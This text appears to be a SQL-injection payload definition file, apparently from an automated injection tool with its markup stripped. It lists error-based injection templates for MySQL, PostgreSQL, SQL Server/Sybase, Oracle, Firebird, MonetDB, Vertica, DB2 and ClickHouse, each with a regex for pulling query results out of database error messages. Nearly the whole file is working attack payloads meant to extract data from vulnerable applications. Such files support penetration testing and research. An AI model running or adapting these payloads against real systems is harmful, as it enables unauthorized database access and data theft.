MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
2
4
1
1,2,3,8,9
1
AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.5
MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)
2
4
3
1,8,9
1
OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.5
MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)
2
4
1
1,2,3,8,9
1
AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.5
MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)
2
4
3
1,8,9
1
OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.5
MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
2
4
1
1,2,3,8,9
1
AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.6
MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)
2
4
3
1,8,9
1
OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.6
MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)
2
5
1
1,2,3,8,9
1
AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))
AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.7.8
MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)
2
5
3
1,8,9
1
OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))
OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.7.8
MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
2
2
1
1,2,3,8,9
1
AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.0
MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
2
2
3
1,2,3,8,9
1
OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.0
MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
2
5
1
7
1
(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.0
MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
2
1
1
1,2,3,8,9
1
AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.1
MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
2
1
3
1,2,3,8,9
1
OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.1
MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
2
3
1
1,2,3,8,9
1
AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.1
MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
2
3
3
1,2,3,8,9
1
OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.1
MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
2
3
1
1,2,3,8,9
1
AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 4.1
MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
2
3
3
1,8,9
1
OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 4.1
MySQL OR error-based - WHERE or HAVING clause (FLOOR)
2
4
3
1,8,9
2
OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)
OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)
#
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
PostgreSQL AND error-based - WHERE or HAVING clause
2
1
1
1,8,9
1
AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)
AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
PostgreSQL OR error-based - WHERE or HAVING clause
2
1
3
1,8,9
2
OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)
OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
2
1
1
1,8,9
1
AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server
Sybase
Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)
2
2
3
1,8,9
2
OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server
Sybase
Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)
2
2
1
1,8,9
1
AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server
Sybase
Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT)
2
3
3
1,8,9
2
OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server
Sybase
Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)
2
2
1
1,8,9
1
AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')
AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server
Sybase
Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)
2
3
3
1,8,9
2
OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')
OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server
Sybase
Oracle AND error-based - WHERE or HAVING clause (XMLType)
2
1
1
1,9
1
AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle OR error-based - WHERE or HAVING clause (XMLType)
2
1
3
1,9
2
OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)
2
2
1
1,9
1
AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
>= 8.1.6
Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)
2
2
3
1,9
2
OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
>= 8.1.6
Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
2
3
1
1,9
1
AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
2
3
3
1,9
2
OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)
2
4
1
1,9
1
AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)
2
4
3
1,9
2
OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Firebird AND error-based - WHERE or HAVING clause
2
3
1
1
1
AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
Firebird OR error-based - WHERE or HAVING clause
2
4
3
1
2
OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
MonetDB AND error-based - WHERE or HAVING clause
2
3
1
1
1
AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MonetDB
MonetDB OR error-based - WHERE or HAVING clause
2
4
3
1
2
OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MonetDB
Vertica AND error-based - WHERE or HAVING clause
2
3
1
1
1
AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)
AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Vertica
Vertica OR error-based - WHERE or HAVING clause
2
4
3
1
2
OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)
OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Vertica
IBM DB2 AND error-based - WHERE or HAVING clause
2
3
1
1
1
AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
IBM DB2
IBM DB2 OR error-based - WHERE or HAVING clause
2
4
3
1
1
OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
IBM DB2
ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
2
3
1
1,2,3,9
1
AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')
AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
ClickHouse
ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
2
4
3
1,2,3,9
1
OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')
OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
ClickHouse
MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)
2
2
1
1,2,3,4,5
1
PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1)
PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.1
MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)
2
5
1
1,2,3,9
3
(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.5
MySQL >= 5.5 error-based - Parameter replace (EXP)
2
5
1
1,2,3,9
3
EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.5
MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)
2
5
1
1,2,3,9
3
GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.6
MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)
2
5
1
1,2,3,9
3
JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))
JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.7.8
MySQL >= 5.0 error-based - Parameter replace (FLOOR)
2
2
1
1,2,3,9
3
(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.0
MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
2
4
1
1,2,3,9
3
(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]))
(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.1
MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)
2
2
1
1,2,3,9
3
(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')))
(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
>= 5.1
PostgreSQL error-based - Parameter replace
2
2
1
1,2,3,9
3
(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))
(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
PostgreSQL error-based - Parameter replace (GENERATE_SERIES)
2
5
1
1,2,3,9
3
(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))
(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
